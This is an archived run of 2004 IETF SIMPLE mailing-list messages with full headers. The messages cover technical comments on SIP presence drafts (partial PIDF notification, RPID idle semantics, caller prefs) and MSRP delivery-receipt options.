> My point is that its redundant. The definition, I think, of=20
> the contact=20
> URI is that it routes to something with the advertised=20
> capabilities. I=20
> should not have to use caller prefs to route to a device described by=20
> the tuple.

I agree that contact URI should route to correct UA without any callee
prefs. So if nobody thinks this is useful I will remove the section.

- Mikko  =20

> -Jonathan R.
>=20
>=20
> --=20
> Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
> Chief Technology Officer                    Parsippany, NJ 07054-2711
> dynamicsoft
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 11:24:39 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA17725
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 11:24:39 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyChF-0005xl-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 11:24:41 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyCgW-0005q6-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 11:23:56 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyCfj-0005gA-00; Tue, 02 Mar 2004 11:23:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyCfe-0002WS-Uw; Tue, 02 Mar 2004 11:23:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyCfQ-0002RQ-4J
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 11:22:48 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA17630
	for <simple@ietf.org>; Tue, 2 Mar 2004 11:22:45 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyCfP-0005dg-00
	for simple@ietf.org; Tue, 02 Mar 2004 11:22:47 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyCeV-0005Ta-00
	for simple@ietf.org; Tue, 02 Mar 2004 11:21:52 -0500
Received: from mail1.dynamicsoft.com ([63.113.40.10] helo=mail2.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyCdf-00059o-00
	for simple@ietf.org; Tue, 02 Mar 2004 11:20:59 -0500
Received: from DYN-EXCH-01.dynamicsoft.com (dyn-exch-001b [63.113.44.8])
	by mail2.dynamicsoft.com (8.12.8/8.12.8) with ESMTP id i22GKQlO016416
	for <simple@ietf.org>; Tue, 2 Mar 2004 11:20:26 -0500 (EST)
Received: from dynamicsoft.com (NJ-AKRISTENSEN2 [63.113.46.55]) by DYN-EXCH-01.dynamicsoft.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id 10KYPKJH; Tue, 2 Mar 2004 11:20:23 -0500
Message-ID: <4044B446.4000400@dynamicsoft.com>
From: Anders Kristensen <akristensen@dynamicsoft.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: simple@ietf.org
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Subject: [Simple] Comments on partial notification drafts
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 02 Mar 2004 11:20:22 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

These are mostly nits...

draft-ietf-simple-partial-pidf-format-00

The numbers refer to secions in the draft.

2. The MIME type 'application/partial-pidf+xml' is used instead of 
'application/pidf-partial+xml' a couple of times.

3.1: s/resent/recent/

3.3 Presumably <removed> elements can only appear in docs with 
state="partial". Maybe worth saying that.

Also, maybe appropriate to say something about when the id of a removed 
tuples can be safely reused (not a good idea to use it for a new tuple 
in the doc that says the previous tuple with the same id has been removed).

4. The last paragraph is a little hard to understand. I think it says 
that individual tuples are always carried in full in pidf-partial docs 
but it could be more clearly stated.

6. The partial doc lists <removed> before <tuple>. I believe the base 
types (PIDFs <presence> element) content model must appear before that 
of the extension. I don't know if you did this, but it would probably be 
a very good idea to run the examples through a validating parser as a 
sanity test.

7. The partial-presence type extends pidf:presence and defines the 
entity attribute although this is already defined for the pidf:presence 
type. Is it necessary to "redefine" this attribute?

What about <presence> elements (including extension elements) not part 
of tuples? Are those always included in pidf-partial docs? (Actually, 
yes. Says so in 3.2 of draft-ietf-simple-partial-notify-01. Maybe it 
should say so in the format doc too.)


draft-ietf-simple-partial-notify-01

1.

s/ , //
s/trasported/transported/

3.2

s/concidered/considered/
s/to be local the/to be the/
s/wathcer/watcher/
s/everything what is/everything that is/
"when an update is send to a tuple..." doesn't make much sense.

5. In F3 the version attribute is "1" but the text (section 4.4) 
required "0" for the initial, full content.

F5: Again, AFAICT <removed> must go after <tuple> elements.

s/<notexml:lang/<note xml:lang/

6. s/notificatiuon/notification/

Anders


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 11:25:11 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA17756
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 11:25:11 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyChG-0002iO-Vx
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 11:24:43 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i22GOgbN010436
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 11:24:42 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyChG-0002iF-QW
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 11:24:42 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA17742
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 11:24:40 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyChF-0005xq-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 11:24:41 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyCgX-0005qD-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 11:23:57 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyCfj-0005gA-00; Tue, 02 Mar 2004 11:23:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyCfe-0002WS-Uw; Tue, 02 Mar 2004 11:23:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyCfQ-0002RQ-4J
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 11:22:48 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA17630
	for <simple@ietf.org>; Tue, 2 Mar 2004 11:22:45 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyCfP-0005dg-00
	for simple@ietf.org; Tue, 02 Mar 2004 11:22:47 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyCeV-0005Ta-00
	for simple@ietf.org; Tue, 02 Mar 2004 11:21:52 -0500
Received: from mail1.dynamicsoft.com ([63.113.40.10] helo=mail2.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyCdf-00059o-00
	for simple@ietf.org; Tue, 02 Mar 2004 11:20:59 -0500
Received: from DYN-EXCH-01.dynamicsoft.com (dyn-exch-001b [63.113.44.8])
	by mail2.dynamicsoft.com (8.12.8/8.12.8) with ESMTP id i22GKQlO016416
	for <simple@ietf.org>; Tue, 2 Mar 2004 11:20:26 -0500 (EST)
Received: from dynamicsoft.com (NJ-AKRISTENSEN2 [63.113.46.55]) by DYN-EXCH-01.dynamicsoft.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id 10KYPKJH; Tue, 2 Mar 2004 11:20:23 -0500
Message-ID: <4044B446.4000400@dynamicsoft.com>
From: Anders Kristensen <akristensen@dynamicsoft.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: simple@ietf.org
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Subject: [Simple] Comments on partial notification drafts
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 02 Mar 2004 11:20:22 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

These are mostly nits...

draft-ietf-simple-partial-pidf-format-00

The numbers refer to secions in the draft.

2. The MIME type 'application/partial-pidf+xml' is used instead of 
'application/pidf-partial+xml' a couple of times.

3.1: s/resent/recent/

3.3 Presumably <removed> elements can only appear in docs with 
state="partial". Maybe worth saying that.

Also, maybe appropriate to say something about when the id of a removed 
tuples can be safely reused (not a good idea to use it for a new tuple 
in the doc that says the previous tuple with the same id has been removed).

4. The last paragraph is a little hard to understand. I think it says 
that individual tuples are always carried in full in pidf-partial docs 
but it could be more clearly stated.

6. The partial doc lists <removed> before <tuple>. I believe the base 
types (PIDFs <presence> element) content model must appear before that 
of the extension. I don't know if you did this, but it would probably be 
a very good idea to run the examples through a validating parser as a 
sanity test.

7. The partial-presence type extends pidf:presence and defines the 
entity attribute although this is already defined for the pidf:presence 
type. Is it necessary to "redefine" this attribute?

What about <presence> elements (including extension elements) not part 
of tuples? Are those always included in pidf-partial docs? (Actually, 
yes. Says so in 3.2 of draft-ietf-simple-partial-notify-01. Maybe it 
should say so in the format doc too.)


draft-ietf-simple-partial-notify-01

1.

s/ , //
s/trasported/transported/

3.2

s/concidered/considered/
s/to be local the/to be the/
s/wathcer/watcher/
s/everything what is/everything that is/
"when an update is send to a tuple..." doesn't make much sense.

5. In F3 the version attribute is "1" but the text (section 4.4) 
required "0" for the initial, full content.

F5: Again, AFAICT <removed> must go after <tuple> elements.

s/<notexml:lang/<note xml:lang/

6. s/notificatiuon/notification/

Anders


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 14:55:50 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA27136
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 14:55:50 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyFzb-0004aY-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 14:55:51 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyFym-0004RJ-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 14:55:01 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyFxu-0004Fw-00; Tue, 02 Mar 2004 14:54:06 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyFxp-0000fo-8T; Tue, 02 Mar 2004 14:54:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyFxh-0000f5-7d
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 14:53:53 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA26870
	for <simple@ietf.org>; Tue, 2 Mar 2004 14:53:49 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyFxe-0004DX-00
	for simple@ietf.org; Tue, 02 Mar 2004 14:53:50 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyFwg-00043z-00
	for simple@ietf.org; Tue, 02 Mar 2004 14:52:51 -0500
Received: from auds951.usa.alcatel.com ([143.209.238.80])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyFvo-0003od-00
	for simple@ietf.org; Tue, 02 Mar 2004 14:51:57 -0500
Received: from alcatel.com (localhost [127.0.0.1])
	by auds951.usa.alcatel.com (8.12.10/8.12.10) with ESMTP id i22JobDm018734;
	Tue, 2 Mar 2004 13:50:37 -0600 (CST)
Message-ID: <4044E58C.4010409@alcatel.com>
From: Alex Audu <alex.audu@alcatel.com>
Reply-To: alex.audu@alcatel.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: Paul Kyzivat <pkyzivat@cisco.com>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Simple WG <simple@ietf.org>
Subject: Re: [Simple] comments on draft-ietf-simple-rpid (long)
References: <4041F046.7050207@dynamicsoft.com> <4042B316.4050104@cisco.com> <4042CF62.7030907@cs.columbia.edu>
In-Reply-To: <4042CF62.7030907@cs.columbia.edu>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 02 Mar 2004 13:50:36 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.2 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Hello Henning,

Please find my comments inline.

Henning Schulzrinne wrote:

> Paul Kyzivat wrote:
> [snip]
>
>> I have a related issue that I thought I already raised, but maybe not.
>>
>> I agree with your characterization of idle on commercial IM systems, 
>> and that is probably what we want for those built with SIMPLE as 
>> well. But when we extend the notion of presence to phones we 
>> typically get a different semantic. It is common to be in close 
>> proximity to a phone and yet not use it for long periods of time. So 
>> if idle is based on how long since the phone was used, then a long 
>> idle time says nothing about the likelihood that a call would be 
>> answered. And conversely, a lack of an <idle> status likely increases 
>> the probability that a call won't be answered.
>>
>> So we end up with a status attribute whose significance is dependent 
>> on the type of device publishing it. That seems like a bad thing. I'm 
>> not sure what the solution is. Perhaps replacing idle with an 
>> attribute that expressed a probability that the device is attended?
>
>
> I can't see how a PC or phone could compute these probabilities. This 
> would require knowing that 10 minutes of absence (the only observable 
> value), for a particular user, implies that there's a 20% chance that 
> the user has stepped out. Unless your PC or phone has a user proximity 
> detector, this seems hard to do.
>
> We do have the contact-type to allow the receiver to guess what this 
> may mean. I think we discussed this before: in almost all cases, the 
> value of a long idle time is not all that high (unless you know that 
> the presentity is either a telemarketer who doesn't exist without a 
> phone or a compulsive PC user that doesn't take his hands off the 
> keyboard while in the office), but a short idle time is a good 
> indication that somebody is likely home, be it a phone or PC.
>
> Thus, my suggestion is to leave this as is and not try to 
> over-interpret the value.

Shouldn't this probability be configured instead computed? 

Alex.



_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 14:56:22 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA27161
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 14:56:22 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyFze-0000uE-Vn
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 14:55:55 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i22Jtsp9003478
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 14:55:54 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyFze-0000u1-Qd
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 14:55:54 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA27145
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 14:55:51 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyFzb-0004ad-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 14:55:51 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyFyn-0004RR-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 14:55:02 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyFxu-0004Fw-00; Tue, 02 Mar 2004 14:54:06 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyFxp-0000fo-8T; Tue, 02 Mar 2004 14:54:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyFxh-0000f5-7d
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 14:53:53 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA26870
	for <simple@ietf.org>; Tue, 2 Mar 2004 14:53:49 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyFxe-0004DX-00
	for simple@ietf.org; Tue, 02 Mar 2004 14:53:50 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyFwg-00043z-00
	for simple@ietf.org; Tue, 02 Mar 2004 14:52:51 -0500
Received: from auds951.usa.alcatel.com ([143.209.238.80])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyFvo-0003od-00
	for simple@ietf.org; Tue, 02 Mar 2004 14:51:57 -0500
Received: from alcatel.com (localhost [127.0.0.1])
	by auds951.usa.alcatel.com (8.12.10/8.12.10) with ESMTP id i22JobDm018734;
	Tue, 2 Mar 2004 13:50:37 -0600 (CST)
Message-ID: <4044E58C.4010409@alcatel.com>
From: Alex Audu <alex.audu@alcatel.com>
Reply-To: alex.audu@alcatel.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: Paul Kyzivat <pkyzivat@cisco.com>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Simple WG <simple@ietf.org>
Subject: Re: [Simple] comments on draft-ietf-simple-rpid (long)
References: <4041F046.7050207@dynamicsoft.com> <4042B316.4050104@cisco.com> <4042CF62.7030907@cs.columbia.edu>
In-Reply-To: <4042CF62.7030907@cs.columbia.edu>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 02 Mar 2004 13:50:36 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.2 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Hello Henning,

Please find my comments inline.

Henning Schulzrinne wrote:

> Paul Kyzivat wrote:
> [snip]
>
>> I have a related issue that I thought I already raised, but maybe not.
>>
>> I agree with your characterization of idle on commercial IM systems, 
>> and that is probably what we want for those built with SIMPLE as 
>> well. But when we extend the notion of presence to phones we 
>> typically get a different semantic. It is common to be in close 
>> proximity to a phone and yet not use it for long periods of time. So 
>> if idle is based on how long since the phone was used, then a long 
>> idle time says nothing about the likelihood that a call would be 
>> answered. And conversely, a lack of an <idle> status likely increases 
>> the probability that a call won't be answered.
>>
>> So we end up with a status attribute whose significance is dependent 
>> on the type of device publishing it. That seems like a bad thing. I'm 
>> not sure what the solution is. Perhaps replacing idle with an 
>> attribute that expressed a probability that the device is attended?
>
>
> I can't see how a PC or phone could compute these probabilities. This 
> would require knowing that 10 minutes of absence (the only observable 
> value), for a particular user, implies that there's a 20% chance that 
> the user has stepped out. Unless your PC or phone has a user proximity 
> detector, this seems hard to do.
>
> We do have the contact-type to allow the receiver to guess what this 
> may mean. I think we discussed this before: in almost all cases, the 
> value of a long idle time is not all that high (unless you know that 
> the presentity is either a telemarketer who doesn't exist without a 
> phone or a compulsive PC user that doesn't take his hands off the 
> keyboard while in the office), but a short idle time is a good 
> indication that somebody is likely home, be it a phone or PC.
>
> Thus, my suggestion is to leave this as is and not try to 
> over-interpret the value.

Shouldn't this probability be configured instead computed? 

Alex.



_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 16:18:53 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA01540
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 16:18:53 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyHHy-0007bh-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 16:18:54 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyHGz-0007TS-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 16:17:53 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyHGF-0007LZ-00; Tue, 02 Mar 2004 16:17:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyHG9-0003b4-Lq; Tue, 02 Mar 2004 16:17:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyHFu-0003Yn-Jc
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 16:16:46 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA01478
	for <simple@ietf.org>; Tue, 2 Mar 2004 16:16:43 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyHFs-0007Jc-00
	for simple@ietf.org; Tue, 02 Mar 2004 16:16:44 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyHEv-0007Ad-00
	for simple@ietf.org; Tue, 02 Mar 2004 16:15:46 -0500
Received: from sj-iport-1-in.cisco.com ([171.71.176.70] helo=sj-iport-1.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyHE0-0006wK-00
	for simple@ietf.org; Tue, 02 Mar 2004 16:14:48 -0500
Received: from mira-sjc5-b.cisco.com (IDENT:mirapoint@mira-sjc5-b.cisco.com [171.71.163.14])
	by sj-core-5.cisco.com (8.12.10/8.12.6) with ESMTP id i22LEGiQ018322;
	Tue, 2 Mar 2004 13:14:16 -0800 (PST)
Received: from [127.0.0.1] (ssh-sjc-1.cisco.com [171.68.225.134])
	by mira-sjc5-b.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AQU97309;
	Tue, 2 Mar 2004 13:14:14 -0800 (PST)
Mime-Version: 1.0 (Apple Message framework v612)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Message-Id: <ABEA1AEE-6C8E-11D8-82FB-0003938AF740@cisco.com>
Content-Transfer-Encoding: 7bit
Cc: Rohan Mahy <rohan@cisco.com>
From: Rohan Mahy <rohan@cisco.com>
To: simple@ietf.org
X-Mailer: Apple Mail (2.612)
Content-Transfer-Encoding: 7bit
Subject: [Simple] return receipt and delivery status notification for MSRP
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 3 Mar 2004 06:15:03 +0900
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Hi,

I wanted to record an observation about how optional return receipt and 
delivery status notification should be for MSRP. This was inspired by 
Eric Burger's comments at the mic about how positive and negative 
acknowledgments have a different character.

	Positive Acknowledgments:
I may want to know about partial message delivery so I can interrupt 
and resume-in-place when transferring a large IM attachment (walk into 
the elevator example).

I may want to know just that a complete message was delivered

I may want to know that a complete message is queued/stored for user 
pickup

I may want to know that a complete message was displayed to the target 
end user

I may want to receive no messages at all about e2e delivery status

	Negative Acknowledgements
I may want to know that a message was not delivered due to a relay 
error and why

I may want to know that a message was not delivered because of a UA 
error (and why)

I may not care if messages don't get delivered e2e (expecting just best 
effort)

We should figure out a way to indicate which of these you want.  The 
mail folks have dealt with very, very similar problems.

Homework assignment for the working group: read and understand the 
semantics of Delivery Status Notifications (RFC 3464) and Return 
Receipts/Message Disposition Notifications (RFC 2298)

thanks,
-rohan


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


